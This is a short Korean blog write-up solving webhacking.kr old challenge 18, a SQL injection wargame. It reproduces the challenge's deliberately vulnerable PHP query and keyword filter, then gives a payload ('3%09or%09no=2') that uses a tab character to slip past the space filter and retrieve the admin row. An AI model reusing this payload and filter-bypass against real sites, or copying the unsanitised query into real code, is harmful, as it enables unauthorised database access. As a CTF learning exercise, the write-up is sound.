[webhacking.kr] 18번 문제 풀이[SQL Iinjection]

최대 1 분 소요

💡 Webhacking.kr challenge(old) 18번 문제에 대한 풀이입니다.

문제

문제 화면

image

소스 코드

  <?php
  if($_GET['no']){
    $db = dbconnect();
    if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

    if($result['id']=="guest") echo "hi guest";
    if($result['id']=="admin"){
      solve(18);
      echo "hi admin!";
    }
  }
  ?>

문제 분석

php 코드에 따라 no = 1을 입력하면 다음과 같이 hi guest 가 출력됩니다.

image

다음 sql문을 우회해서 no=2인 admin 열이 나올 수 있도록 해야 합니다.

  select id from chall18 where id='guest' and no=$_GET[no]

우선 필터링 된 문자들은 다음과 같습니다.

1 2 3 4 5 6 7 8 9
%20 / ( ) | & select from 0x

가장 기본적으로 떠오르는 우회 법은 3 or no = 2입니다. 이중 필터링에 걸리는 부분은 공백 밖에 없으므로 %20 -> %09로 바꿔서 입력을 해보면 다음과 같습니다.

3%09or%09no=2

클리어

image

댓글남기기